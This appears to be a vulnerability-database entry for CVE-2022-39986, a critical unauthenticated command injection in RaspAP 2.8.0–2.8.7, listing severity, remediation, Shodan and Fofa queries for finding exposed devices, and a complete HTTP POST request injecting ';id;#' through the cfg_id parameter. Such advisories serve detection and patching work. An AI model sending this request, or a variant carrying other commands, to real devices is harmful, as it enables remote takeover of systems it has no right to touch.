| Title | RaspAP 2.8.7 - Unauthenticated Command Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. |
| Remediation | Upgrade to a patched version of RaspAP or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93057 |
| CVE ID | CVE-2022-39986 |
| CWE ID | CWE-77 |
| Shodan Query | http.favicon.hash:-1465760059 |
| Fofa Query | icon_hash=-1465760059 |
| Tags | cve cve2022 packetstorm raspap rce vkev vuln |
A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
cfg_id=;id;#
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39986.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-39986.pcap
N/AN/A